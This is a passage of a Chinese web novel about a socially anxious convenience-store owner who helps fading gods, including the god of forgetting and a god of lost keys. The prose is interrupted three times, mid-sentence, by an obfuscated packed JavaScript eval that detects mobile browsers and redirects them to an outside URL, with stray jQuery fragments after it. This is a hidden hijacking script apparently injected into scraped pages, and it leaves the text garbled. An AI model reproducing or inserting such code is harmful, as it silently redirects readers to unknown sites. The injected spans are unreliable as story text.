他这才意识到，自己问了一个多么残忍的问题。对于一个掌管“遗忘”的神来说，“记住”本身就是一种奢望，更不用说，是记住一串毫无意义的数字。 “那……那就用我的生日吧。”林洅栖脱口而出。 话说出口，他就后悔了。他怎么敢把自己的生日，告诉一位古神？这太……太冒昧了。 沈砚之看着他，那双漆黑的眼眸里，闪过一丝复杂的情绪。他没有问林洅栖的生日是哪天，只是缓缓地点了点头。 “好。” 林洅栖的脸“腾”地一下就红了。他飞快地输入了自己的生日，点击了“确认”。 “好了。”他将手机递还给沈砚之，声音小得像蚊子哼，“以后……你就可以用这个了。” 沈砚之接过手机，低头看着屏幕上那个新安装的、绿色的图标，眼神里有一种新奇的神色，像一个第一次接触到新玩具的孩子。 他学着林洅栖的样子，点开APP，调出付款码，然后，将手机递到了林洅栖面前。 “现在，可以了吗？” 林洅栖看着他递过来的手机，又看了看他那双清澈的、带着一丝期待和询问的眼睛，感觉自己的心脏，快要被这种巨大的“反差萌”给融化了。 他强忍着笑意，拿起扫码枪，“滴”的一声。 “支付成功。” 沈砚之的脸上，露出了一种如释重负的表情。他收回手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883451|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机，拿着那瓶水，走回了自己的座位。 林洅栖看着他，感觉自己的心情，前所未有地好。他发现，沈砚之并不是真的那么遥不可及。他也会因为不会用手机而困惑，也会因为想不出密码而烦恼。他……也是一个有血有肉的、会“笨拙”的“人”。 就在这时，他忽然想起一件事。 刚才在操作手机的时候，他无意中点开了沈砚之的通讯录。 他记得，那里面，是空白的。 一个名字都没有。 林洅栖的心，又沉了下去。他无法想象，一个人的通讯录里，一个联系人都没有，那是一种怎样的孤独？那意味着，在这个世界上，没有一个人，是他可以随时拨通电话的。 他看着沈砚之的背影，心里忽然涌起一股强烈的冲动。 他想成为他通讯录里的第一个人。 这个念头一旦产生，就再也抑制不住。 他深吸一口气，像是下定了某种决心。他拿起自己的手机，点开通讯录，找到了自己的名字，然后，生成了一张名片二维码。 他拿着手机，一步一步地，走到了沈砚之的面前。 沈砚之正研究着那个支付软件，看到他过来，抬起头，眼神里带着询问。 “那个……沈砚之……”林洅栖的声音有些发紧，手心里也全是汗，“我……我想……” 他不知道该如何开口。直接说“我想加你好友”？会不会太主动了？会不会吓到他？ 沈砚之静静地看着他，没有催促，只是耐心地等待着。 林洅栖一咬牙，心一横，将自己的手机递了过去，屏幕上正是那张名片二维码。 “以后……如果你有什么事，或者……或者手机又不会用了，可以……可以找我。”他飞快地说完，然后就像等待审判一样，低下了头，不敢看沈砚之的眼睛。 他感觉自己的心跳声，在寂静的便利店里，响亮得如同擂鼓。 时间，仿佛过了一个世纪那么久。 他感觉到，自己的手机被接了过去。 然后，他听到了“滴”的一声轻响。 那是扫描二维码的声音。 林洅栖猛地抬起头，看到沈砚之正拿着他的手机，对着屏幕。 沈砚之的脸上，依旧是那副平淡无波的表情，但林洅栖却看到，他的手指，在点击“添加到通讯录”那个按钮时，有了一丝极细微的、几乎无法察觉的停顿。 “好了。”沈砚之将手机还给他。 林洅栖接过手机，颤抖着点开自己的通讯录。他看到，在“沈砚之”那个名字的后面，多了一个小小的备注。 【林洅栖】 他的名字，出现在了沈砚之的手机里。 成为了他空白通讯录里的，第一个，也是唯一一个名字。 巨大的、难以言喻的喜悦和满足感，像潮水一样，瞬间将林洅栖淹没。他感觉自己的眼睛有些发热，鼻子也有些发酸。 “谢谢……”他小声说。 “为什么要谢我？”沈砚之问，“是你帮了我。” “不……”林洅栖摇了摇头，他抬起头，迎上沈砚之的目光，眼神里是前所未有的认真和坚定，“谢谢你……愿意让我，成为你的第一个联系人。” 沈砚之看着他，那双总是沉寂如古井的眼眸里，第一次，泛起了清晰可见的、温柔的波澜。 他没有说话，只是拿起那瓶矿泉水，拧开盖子，喝了一口。 然后，林洅栖看到，他的耳尖，悄悄地，又泛起了那抹熟悉的、淡淡的红色。 林洅栖笑了。 这一次，他没有再躲闪，也没有再脸红。他就那么静静地，看着沈砚之，看着这个清冷、笨拙、孤独，却又温柔得让人心碎的古神。 他想，或许，他来到这家便利店，继承这份奇怪的工作，并不是一场意外。 而是命中注定。 为了遇见这些需要帮助的神明，也为了……遇见这个，需要被他“铭记”的，遗忘之神。 而他的使命，就是用自己微不足道的温暖，一点点地，填满他空白的世界。 无论是他的通讯录，还是他的心。 9. 神仙也要打零工9 “痘痘护理小课堂”的成功，像一颗投入平静湖面的石子，在“有间便利店”这个被遗忘的角落里，激起了一圈又一圈持续不断的涟漪。 林洅栖的生活，从黑白默片，变成了一部虽然依旧节奏缓慢，却充满了色彩与细节的电影。 他每天最期待的，除了看到“痘神”因为收到粉丝感谢而身体凝实一分外，就是等待那个ID叫“深海里的星星”的女孩的信。 那个女孩的信，如约而至。 那是一个淡蓝色的信封，上面用清秀的字迹写着“寄给一年后的‘深海里的星星’”。林洅栖小心翼翼地将信收好，贴在了仓库那面专门开辟出来的“慢递墙”上。看着那封信，他仿佛能看到一个女孩，在深夜的台灯下，将自己的烦恼与希望，一笔一画地注入纸张。 他甚至开始期待，一年后，当这个女孩再次走进便利店时，会是怎样一番光景。 而沈砚之，也成了他生活中最稳定的背景音。他依旧坐在那个角落，捧着他那本没有封面的古书。 但林洅栖知道，他不再是冰冷的背景板。他会因为林洅栖一个新奇的点子而微微侧目，会在林洅栖熬夜时，默默地为他温好一杯牛奶，甚至有一次，林洅栖在抱怨新买的猫抓板太难组装时，沈砚之走过来，只看了一眼说明书，就用几块零散的木板，搭起了一个结构精巧、比原版还好用的猫爬架。 林洅栖看着那个被奶糖兴奋地占领的猫爬架，又看了看沈砚之那双仿佛能创造一切的手，心里除了惊叹，更多的是一种温暖的、被照顾的感觉。 他们的交流依旧不多，但每一个眼神，每一个动作，都充满了只有彼此才懂的默契。林洅栖甚至发现，自己已经不再害怕与他对视。他喜欢看沈砚之那双漆黑的眼眸，那里面藏着万古的星空，而当他看着自己时，那片星空里，仿佛只映照出他一个人的身影。 这天下午，阳光正好，林洅栖正趴在收银台上，用手机回复着“痘痘护理小课堂”的私信。奶糖懒洋洋地趴在他的手臂旁，尾巴有一下没一下地扫着他的手腕。 就在这时，便利店的门“叮铃”一声，被一阵无形的、带着湿冷气息的风推开。 林洅栖抬起头，看到一个瘦高的、穿着一身灰色中山装的男人，正局促不安地站在门口。他看起来约莫四五十岁的年纪，头发梳得一丝不苟，但脸上却带着一种被时代抛弃的、深深的焦虑。他的手里，紧紧地攥着一串黄铜钥匙，那钥匙因为常年摩挲，显得异常光滑，却又带着一种冰冷的、不被需要的金属质感。 林洅栖的心里“咯噔”一下。他认得他。 他就是《神明登记册》上的，“忘带钥匙神”。 一个在古代，因为人们总是忘记带钥匙而被频繁呼唤、香火旺盛的神明。人们会在家门口祈祷，希望他能帮忙找到钥匙，或者让家人回来开门。他是“家”的守护者，是“回归”的使者。 可现在，他看起来……比“痘神”还要落魄。他的身体已经呈现出一种半透明的状态，仿佛一阵风就能把他吹散。他攥着那串钥匙的手，因为用力而指节发白，眼神里充满了茫然和恐惧。 “你……你好。”林洅栖站起身，主动迎了上去。 忘带钥匙神像是受惊的鸟，猛地后退了一步，警惕地看着他。“你……你是谁？这里是什么地方？” “这里是‘有间便利店’，我是店长，林洅栖。”林洅栖放柔了声音，生怕吓到他，“我……我能帮你吗？” “帮我？”忘带钥匙神苦笑了一下，他摊开手，露出那串黄铜钥匙，“你帮我，让这串钥匙，重新变得有用吗？” 他的声音里带着无尽的悲凉。 “已经没人需要我了……他们用密码锁，用指纹锁，用人脸识别……他们再也不需要我这串没用的铜疙瘩了。”他绝望地看着手中的钥匙，“我守护了‘家’几千年，现在，‘家’的门槛，我都跨不进去了。我快要被彻底遗忘了……” 说着，他的身体变得更加透明，仿佛随时都会消散在空气里。 林洅栖的心，像被针扎了一下，密密麻麻地疼。 他看着忘带钥匙神手中那串冰冷的钥匙，又想起了沈砚之那部空白的通讯录。被遗忘，原来是这样一种，连存在的意义都被剥夺的、彻骨的寒冷。 “不！不是的！”林洅栖急切地说，“他们不是不需要你了，只是……只是他们找到新的方式，来呼唤你了！” “新的方式？”忘带钥匙神抬起头，浑浊的眼睛里，闪过一丝微弱的光。 “对！”林洅栖的大脑飞速运转起来，他开始分析现代人的生活习惯。 现代人虽然用智能锁，但他们依然会忘带钥匙。不，他们忘带的，不再是物理的钥匙，而是……“进门的方式”。 他们可能会忘记带门禁卡，可能会忘记小区的密码，可能会把手机忘在家里导致无法开锁，甚至可能会因为朋友来访，而自己却不在家，无法提供进门的方式。 这些瞬间，那种被关在门外的、焦急无助的心情，和几百年前，一个农夫在黄昏时分，发现自己忘带钥匙时的心情，又有什么区别呢？ 他们需要的，依然是一个“应急”的方案。一个能让他们在绝望中，看到一丝希望的“钥匙”。 而“忘带钥匙神”，正是掌管这把“应急钥匙”的神！ 一个大胆的计划，在林洅栖的脑海中，瞬间成型。 “我有一个办法！”林洅栖的眼睛里，重新燃起了光芒，“一个能让你重新被需要，重新守护‘家’的办法！” 忘带钥匙神看着他，眼神里充满了怀疑和一丝渺茫的希望。 “你说。” “我们可以在店里，设置一个‘临时钥匙寄存箱’！”林洅栖越说越兴奋，他开始用手比划着，“我们可以买一些带密码锁的小箱子，让周围小区的居民，把自己家的备用钥匙，或者门禁卡，寄存在我们这里。他们只需要设定一个只有自己知道的密码，就可以随时来取。” “这样一来，当他们忘带钥匙，或者有紧急情况时，第一个想到的地方，就是我们便利店！他们不需要再焦急地等待开锁师傅，也不需要麻烦邻居，他们只需要来我们这里，输入密码，拿到钥匙，就能回家！” 忘带钥匙神愣住了，他似乎无法完全理解林洅栖描述的这个场景。 “可是……他们……为什么会愿意把钥匙，放在一个陌生人的店里？” “因为我们不是陌生人！”林洅栖指了指自己，又指了指他，“我们是‘忘带钥匙神’和他的‘神使’！我们是专业的、值得信赖的！” “神使？”忘带钥匙神更懵了。 “呃……就是……就是神的助手！”林洅栖赶紧解释道，“我们可以打出我们的招牌！就叫‘忘带钥匙神庇护所——临时钥匙寄存服务’！凡人看到这个名字，就会觉得安心，觉得有神明在保佑他们的家！” 忘带钥匙神看着林洅栖那副信心满满的样子，那双浑浊的眼睛里，终于，重新亮起了一点光。 “真的……可以吗？” “一定可以！”林洅栖肯定地说，“你的神职，从来都不是‘钥匙’本身，而是‘守护’和‘回归’。只要还有人需要回家，需要被守护，你就永远不会被遗忘！” 就在这时，一个清冷的声音，从角落里传来。 “想法不错，但实施起来，有几个问题。” 林洅栖回头，看到沈砚之不知何时已经放下了书，正看着他们。 “什么问题？”林洅栖问。 “第一，信任。如何让凡人相信，一个连招牌都破破烂烂的便利店，能保管好他们最重要的东西？”沈砚之的声音依旧平淡，却一针见血。 “第二，安全。如果有人冒领，或者箱子被撬开，丢失了钥匙，这个责任谁来负？” “第三，盈利。你提供的是免费服务，但箱子需要成本，你拿什么来维持？” 沈砚之的三个问题，像三盆冷水，瞬间浇灭了林洅栖的兴奋。 他愣住了，是啊，他只想到了“情怀”，却忽略了最现实的“问题”。 忘带钥匙神眼里的光，又黯淡了下去。“你看……我就说……没用的……” “不！有办法！”林洅栖却猛地抬起头，眼神里闪烁着一种不服输的倔强，“问题，是用来解决的！” 他走到沈砚之面前，像是在请教，也像是在辩论。 “第一个问题，信任！我们可以用‘神明’来做背书！我们就在店门口最显眼的地方，立一个‘忘带钥匙神’的神龛！虽然他现在很虚弱，但神龛本身就是一种信仰的象征！我们还可以在寄存箱上，贴上‘忘带钥匙神庇护’的符咒！” 他一边说，一边看向忘带钥匙神，“你会画符咒，对不对？” 忘带钥匙神愣愣地点了点头。作为家宅守护神，画一些安宁、守护的符咒，是他的本能。 “第二个问题，安全！”林洅栖继续说，“我们可以采用‘双重验证’！除了箱子本身的密码，取钥匙的人，还必须说出寄存时预留的‘暗号’！这个暗号可以是一句诗，可以是一个昵称，任何只有寄存人和取件人才知道的东西！这样，就算密码泄露，也拿不到钥匙！” “第三个问题，盈利！”林洅栖深吸一口气，说出了自己最后的想法，“我们可以……收取一点点‘香火钱’！” “香火钱？” “对！但不是强制的！”林洅栖解释道，“我们提供的是免费服务，但在取钥匙的地方，放一个功德箱。如果有人觉得我们的服务帮到了他，可以自愿地、随心所欲地，放一些零钱进去。这些钱，一部分用来购买新的寄存箱，另一部分……就当做是给你的‘供奉’！” 他看着忘带钥匙神，眼神真诚而热烈。 “你的神力，来自于‘被需要’的感觉。而这些‘香火钱’，就是他们对你‘被需要’的认可！这比任何物质上的东西，都更能滋养你的神格！” 忘带钥匙神彻底呆住了。 他看着眼前这个年轻人，看着他为了一个素不相识的神，而绞尽脑汁，滔滔不绝。他感觉自己那颗快要枯萎的心，像是被温暖的春雨，一点点地浸润、复苏。 沈砚之看着林洅栖，那双漆黑的眼眸里，也泛起了他自己都未曾察觉的、欣赏的波澜。这个总是害羞、总是低着头的年轻人，在决定要帮助别人的时候，身上会爆发出一种令人无法忽视的光芒。那光芒，比他见过的任何星辰，都要耀眼。 “我……我愿意！”忘带钥匙神激动地握紧了拳头，他走到林洅栖面前，深深地鞠了一躬，“谢谢你！林……林神使！我愿意试试！” “别叫我神使了，叫我林洅栖就好。”林洅栖赶紧扶起他，脸上露出了灿烂的笑容。 说干就干。 林洅栖立刻在网上下单了十几个带密码锁的透明寄存箱。忘带钥匙神则激动地找来纸笔，开始设计他的“神龛”和“符咒”。他画得极其认真，每一笔都倾注了他全部的希望和神力。那符咒虽然看起来简单，却隐隐散发着一种安宁、祥和的气息。 沈砚之虽然没有再说什么，但他却默默地，拿出了工具，开始修理店门口那个已经坏掉很久的灯箱。 几天后，一切都准备就绪。 一个崭新的、虽然有些简陋，但充满了诚意的“忘带钥匙神庇护所”，在“有间便利店”的门口，正式成立了。 神龛里，没有神像，只有忘带钥匙神亲手写下的四个大字——“有家可归”。 神龛下面，是一排整齐的透明寄存箱，每个箱子上，都贴着一张黄色的、由忘带钥匙神亲手绘制的符咒。 旁边，还立着一块小黑板，上面是林洅栖用粉笔写的、可爱的宣传语： 【忘带钥匙了？别怕！忘带钥匙神在这里等你回家！】 【临时钥匙寄存服务，双重密码验证，安全又放心！】 【本服务免费，随心随喜，功德箱就在旁边哦~】 林洅栖看着自己的杰作，满意地点了点头。他转头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883452|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，看到忘带钥匙神正紧张地搓着手，眼神里充满了期待和不安。 “别担心，会有人来的。”林洅栖安慰道。 然而，一天过去了，两天过去了，一个星期过去了，那个“临时钥匙寄存箱”，依旧空空如也。没有一个顾客，对他们的新服务表示出兴趣。 忘带钥匙神的神情，一天比一天沮丧。他开始怀疑，林洅栖的计划，是不是真的行不通。 林洅栖也开始有些着急，但他依旧强装镇定，每天都把寄存箱擦得锃亮，把小黑板上的字描了一遍又一遍。 沈砚之依旧坐在角落里，看着他们，一言不发。 这天傍晚，林洅栖正准备打烊，一个年轻的女孩，急匆匆地跑到了便利店门口。她看起来二十出头，穿着一身职业装，脸上写满了焦虑。 “老……老板！”她喘着气说，“我……我的钥匙……忘在公司了！我老公出差了，要明天才回来，我……我进不了家门……” 林洅栖的心，猛地一跳。 机会来了！ “别急别急！”他立刻迎了上去，“你看，我们这里，有‘临时钥匙寄存服务’！” 女孩看着门口那个奇怪的装置，一脸茫然。 “这是……” “就是你平时，可以把你家的备用钥匙，寄存在我们这里。像你今天这种情况，就可以直接来取了。”林洅栖耐心地解释。 “可是……我之前没有寄存过啊……”女孩快要哭了。 “没事！”林洅栖急中生智，“你……你有没有什么信得过的、住在附近的亲戚或者朋友？” “有！我爸妈！他们就住在这个小区后面！” “那太好了！”林洅栖说，“你现在就给你爸妈打电话，让他们把你的备用钥匙送过来，寄存在我们这里！我们等你！” 女孩像是抓住了救命稻草，立刻拿出手机拨通了电话。 半小时后，一对焦急的中年夫妇，拿着一串钥匙，赶到了便利店。林洅栖按照流程，让他们设定了密码，预留了“暗号”——他们家宠物狗的名字。 “好了，阿姨，你女儿随时可以来取了。”林洅栖笑着说。 中年夫妇看着这个一脸真诚的年轻人，又看了看门口那个“忘带钥匙神庇护所”，眼神里充满了感激。 “小伙子，谢谢你啊！你真是帮了我们大忙了！”阿姨说着，从钱包里拿出一张一百元，硬要塞给林洅栖。 “不不不！我们这是免费的！”林洅栖赶紧摆手。 “那怎么行！你帮了我们这么大的忙！”阿姨说着，看到了旁边的功德箱，她想了想，将那一百元，整整齐齐地叠好，投了进去。 “孩子，这是我们的心意，也是给这位……‘忘带钥匙神’的香火钱！希望他能保佑我们一家人，平平安安！” 就在那一百元投进功德箱的瞬间，忘带钥匙神猛地浑身一震。 他感觉到，一股温暖而纯净的、带着“被需要”和“被感激”的信仰之力，从功德箱里溢出，像金色的溪流，缓缓地，流入他的身体。 他那半透明的身体，以肉眼可见的速度，变得凝实、厚重。他身上的灰色中山装，也仿佛被重新染上了色彩，变得挺括而精神。 他看着那对夫妇，又看了看林洅栖，浑浊的眼睛里，第一次，流下了滚烫的泪水。 那不是悲伤的泪，而是……重获新生的、喜悦的泪。 当晚，那个年轻的女孩成功取回了钥匙，她再次来到便利店，对着林洅栖和忘带钥匙神，千恩万谢。 她成了“临时钥匙寄存箱”的第一个正式用户，也成了“忘带钥匙神”在这个时代，第一个虔诚的“信徒”。 从那天起，“忘带钥匙神庇护所”的名声，开始在这个小小的社区里，慢慢传开。 越来越多的人，开始将自己的备用钥匙，寄存在这里。他们有的是因为经常加班，怕自己深夜回家忘带钥匙；有的是家里有老人，怕老人独自出门被锁在门外；还有的，只是图一个心安，觉得家里有把钥匙，被一位“神明”守护着，特别有安全感。 那个小小的功德箱里，开始有了或多或少的“香火钱”。有时是一枚硬币，有时是一张纸币，但无论多少，都代表着一份沉甸甸的信任和感谢。 而忘带钥匙神，也彻底变了样。 他不再是那个焦虑、落魄的中年男人形象。他变得神采奕奕，脸上总是带着温和而自信的微笑。他甚至开始主动和林洅栖讨论，如何改进寄存箱的密码系统，如何让符咒的防护力更强。 他不再是“被遗忘的神”，他重新成为了“家”的守护者。 林洅栖看着这一切，心里充满了前所未有的成就感。他发现，帮助别人，原来是一件这么快乐的事情。 这天晚上，他送走了最后一个取钥匙的顾客，正准备关门，沈砚之却走了过来。 “做得很好。”沈砚之说。 “还……还行吧。”林洅栖有些不好意思地挠了挠头。 “你给了他一个新的‘神龛’。”沈砚之看着门口那个小小的庇护所，缓缓地说，“也给了他一个新的‘神职’。” “我只是……做了我该做的。”林洅栖说。 沈砚之转过头，看着他，那双漆黑的眼眸里，映着便利店温暖的灯光，也映着林洅栖那张带着笑意的、年轻的脸。 “林洅栖。”他忽然开口，声音低沉而认真。 “嗯？” “谢谢你。” 林洅栖愣住了。 “谢我什么？” “谢谢你……”沈砚之的视线，落在了林洅栖的手机上，那个他通讯录里唯一的名字，“让我知道，被‘铭记’，是什么感觉。” 林洅栖的心，在那一刻，被一种巨大的、无法言喻的温柔，彻底填满了。 他看着沈砚之，看着这个清冷、孤独，却又在慢慢被他改变的遗忘之神，忽然觉得，自己继承这家便利店，或许，是这辈子做过的，最正确的一件事。 10. 神仙也要打零工10 “有间便利店”的苏醒，是从一声清脆的“叮铃”开始的。 那声音不再是孤寂的回响，而是序曲。紧接着，是各种细碎而鲜活的声响，交织成一首名为“人间”的交响乐。 是早起的大爷取走寄存钥匙时，那句中气十足的“小林老板，早啊！”；是背着书包的学生们，叽叽喳喳地围在“痘痘护理小课堂”的专柜前，讨论着哪款洁面更适合油皮；是忘带钥匙神用他那温和而略带神棍气息的语调，为新来的寄存客户讲解着“双重密码”的安全性。 林洅栖站在收银台后，看着这一切，感觉自己像是在做一场温暖而真实的梦。 他不再是那个会因为顾客多问一句就手心冒汗、语无伦次的社恐青年。 他的身姿依旧清瘦，但脊背却挺直了许多，像一株在雨后终于舒展开枝叶的树苗。他的脸上，总是挂着浅浅的、发自内心的笑意，那双原本总是怯生生躲闪着的眼睛，如今清澈而明亮，像被泉水洗涤过的黑曜石，盛满了坦然与善意。 他甚至学会了在顾客犹豫不决时，主动上前，用他那温和而专业的语调，给出最中肯的建议。 他发现，当他将注意力从“自己会不会被讨厌”转移到“我能不能帮到他”时，那道禁锢他多年的社恐枷锁，便悄然松动了。 每一次真诚的道谢，每一个信任的眼神，都像一缕温暖的阳光，融化着他心底的坚冰。那种被需要、被认可的感觉，像一剂缓慢生效的良药，滋养着他曾经干涸枯萎的自信。 这家便利店，也彻底褪去了那层破败、阴冷的外衣。 货架上的商品总是满满当当，地面被拖得一尘不染，能映出窗外流云的影子。窗台上的那盆多肉，在林洅栖的精心照料下，长出了新的侧芽，生机勃勃。连那只叫奶糖的猫，都变得肥硕了不少，毛色油光水滑，总爱懒洋洋地趴在收银台上，用尾巴尖轻扫着每一个经过的客人，仿佛它才是这里的真正主人。 这里，终于有了“人间烟火气”。 而这一切，都被角落里的那个男人，默默地看在眼里。 沈砚之依旧坐在那张靠窗的单人沙发里，仿佛是这幅动态画卷中，唯一静止的元素。他今天穿了一件质地柔软的黑色高领毛衣，衬得他本就白皙的皮肤，近乎一种透明的、如同上好羊脂玉般的质感。 他的黑发柔顺地垂在额前，几缕发丝遮住了他深邃的眼眸，只留下高挺的鼻梁和形状优美的、略显淡薄的嘴唇，构成一幅冷峻而完美的侧脸剪影。 他手中的那本古书，似乎很久都没有翻动一页了。他的目光，总是不自觉地，越过书页，落在那个在店里忙碌的、清瘦的身影上。 他看着林洅栖踮起脚尖，努力地将一箱牛奶放上货架的顶端，阳光透过玻璃门，为他纤长的身影镀上了一层金色的轮廓，连细小的绒毛都清晰可见。 他看着林洅栖因为一个顾客的玩笑而羞赧地低下头，耳根泛起可爱的粉色。他看着林洅栖在深夜里，就着台灯昏黄的光，认真地回复着每一条私信，神情专注得像是在雕琢一件艺术品。 林洅栖就像一颗小小的太阳，用自己并不炽热、却足够执着的光芒，驱散了这家便利店的阴冷，也悄无声息地，照进了他那片亘古冰封的心湖。那是一种很陌生的感觉，像在万年不化的冰原上，看到了第一朵绽放的雪绒花，脆弱，却带着撼动神魂的美丽。 当林洅栖送走那群叽叽喳喳的女高中生，一转身，发现原本堆在角落的几箱饮料，已经整整齐齐地码在了货架上。他愣了一下，随即目光落在了不远处，正假装在研究一排薯片生产日期的沈砚之身上。 林洅栖的心里，涌起一股熟悉的、温热的暖流。他没有走过去道谢，只是嘴角的笑意，更深了一些。 他知道，有些守护，是无声的。就像沈砚之，他从不言语，却总会在他看不到的角落，为他打理好一切。这种心照不宣的默契，像一根无形的线，将他们两人，紧紧地联系在了一起。 然而，生活并非总是温情脉脉。有光明的地方，就必然会有阴影。 这天晚上，林洅栖正在盘点账目，便利店的门被“砰”的一声粗暴地推开。那声音刺耳而突兀，像一把利刃，划破了店内温馨和谐的氛围。 三个染着五颜六色头发、穿着破洞裤的年轻小混混，大摇大摆地走了进来。为首的那个黄毛，嘴里叼着一根烟，烟雾缭绕中，是一张写满了嚣张与不羁的脸。他的眼神轻佻而恶意，像在巡视自己领地的野狗，在店里扫了一圈，最后落在了正在整理“钥匙寄存箱”的忘带钥匙神身上。 忘带钥匙神如今已不再是那个半透明的虚影，他穿着一身干净的中山装，身形挺拔，气质温和。但在那三个小混混面前，却显得有些格格不入。 “喂，老头，”黄毛混混吐出一口烟圈，慢悠悠地走了过去，“你那破箱子里装的什么好东西啊？拿出来给哥们儿瞧瞧？” 忘带钥匙神皱了皱眉，下意识地护住了身前的箱子，语气平静却坚定：“这是客人的私人物品，不能看。” “不能看？”黄毛混混像是听到了什么天大的笑话，他身后的两个跟班也跟着哄笑起来。黄毛伸手就要去推忘带钥匙神的肩膀，“我今天还就非看不可了！你这破店，还敢藏着掖着？” “住手！” 一声清喝，打断了这剑拔弩张的气氛。 林洅栖不知何时已经冲了过来，张开双臂，挡在了忘带钥匙神面前。 他的心脏“怦怦”狂跳，像是要从胸腔里蹦出来。他怕，他当然怕。他从小到大，最怕的就是这种充满恶意和挑衅的场面。那几个混混身上散发出的、属于街头巷尾的野蛮气息，让他本能地感到战栗。 但他不能退。他的身后，是刚刚找到存在价值的忘带钥匙神，是那些邻居们托付的信任，更是他亲手建立起来的、这个小小的、温暖的港湾。 “几位，想要点什么？我请你们。”林洅栖强压下心中的恐惧，努力让自己的声音听起来平静无波，尽管他能感觉到自己的指尖在微微发颤。 “请我们？”黄毛混混上下打量着他，眼神里的轻蔑更甚，“小子，你知道我们是谁吗？在这片地界，还没有人敢这么跟我们说话的。” “我不管你们是谁。”林洅栖深吸一口气，强迫自己直视对方那双浑浊的眼睛，“这里是便利店，不是你们撒野的地方。如果你们买东西，我欢迎。如果你们想捣乱，就请离开。” “离开？”黄毛混混的脸色彻底沉了下来，他猛地伸手，重重地推了林洅栖的胸口一把，“你算个什么东西，也敢这么跟我们说话？” 林洅栖被他推得一个踉跄，后背重重地撞在货架上，发出一声闷响。他感觉胸口一阵火辣辣的疼，但他依旧咬着牙，没有倒下。 忘带钥匙神和痘神都急了，想要上前帮忙，却被另外两个混混拦住了。 “怎么？想动手？”黄毛混混狞笑着，卷起了袖子，露出胳膊上粗糙的纹身，“今天就让你知道知道，什么叫规矩！” 林洅栖的心，沉到了谷底。他知道自己不是他们的对手，他甚至已经能预感到，接下来会发生什么。他闭上眼，准备迎接那即将到来的疼痛。 就在这千钧一发之际，一股冰冷到极致的、带着森然寒意的气息，毫无征兆地，在便利店里弥漫开来。 那股气息，不像冬日的寒风，而更像来自万年冰窟的、能冻结灵魂的绝对零度。 瞬间，整个便利店的温度都骤降了好几度，空气仿佛都凝固了。那三个嚣张的小混混，脸上的笑容瞬间僵住，他们感觉自己像是被一头远古的、沉睡的凶兽盯上了，从脚底升起一股无法抑制的、源于生命本能的恐惧。 他们僵硬地转过头，看到了那个不知何时，已经如鬼魅般，站在他们身后的男人。 沈砚之依旧穿着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883453|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身简单的黑色高领毛衣，脸上没有任何表情，那双深邃的眼眸，平静得像两潭结了冰的深湖。他只是静静地站在那里，双手插在口袋里，目光淡漠地看着他们，就像在看三只……微不足道的、随时可以碾死的蝼蚁。 “我……”黄毛混混张了张嘴，想说句狠话，却发现自己的喉咙像是被一只无形的手扼住了，一个字都说不出来。那股无形的威压，让他感觉自己连呼吸都变得困难。 沈砚之没有说话，他只是缓缓地，抬起了一只手。 那只手，骨节分明，手指修长，白皙得如同艺术品。然后，他做了一个简单的、向下劈砍的动作。 “砰！砰！砰！” 三声沉闷的巨响，那三个不可一世的小混混，像是被无形的重锤从天而降击中，齐刷刷地、毫无征兆地跪倒在地。他们抱着自己的膝盖，痛苦地呻吟着，脸上充满了惊恐和难以置信。他们没有受任何外伤，但身体却像是被拆散了重组一般，动弹不得。 沈砚之收回手，依旧面无表情，仿佛只是做了一件微不足道的小事。他走到他们面前，微微俯下身，用一种平淡到近乎残忍的语气，缓缓地说： “滚。” 一个字，却带着不容抗拒的、神明般的威严。 那三个小混混如蒙大赦，连滚带爬地站起来，互相搀扶着，头也不回地、狼狈不堪地逃出了便利店，仿佛身后有恶鬼在追赶。 便利店里，恢复了死一般的寂静。 林洅栖呆呆地看着这一切，大脑一片空白。他虽然知道沈砚之很强，但他从未想过，他会强到这种地步。 那是一种……超越了物理法则的、绝对的、令人敬畏的神的力量。 沈砚之转过身，走到他面前，看着他因为紧张和后怕而苍白的脸，眉头微不可察地皱了一下。那双总是古井无波的眼眸里，此刻竟清晰地，映出了一丝……担忧。 “没事吧？”他问，声音里带着一丝自己都未曾察觉的紧绷。 “我……我没事。”林洅栖摇了摇头，他看着沈砚之，心里涌起一股复杂到无法言喻的情绪。有后怕，有震惊，但更多的，是一种……被拼尽全力保护的、巨大的、几乎让他想要落泪的安全感。 “以后，遇到这种事，别自己冲在前面。”沈砚之的语气，带着一丝压抑后的责备。 “可是……我不能让他们毁了这里。”林洅栖的声音有些沙哑。 “这里，有我。”沈砚之说。 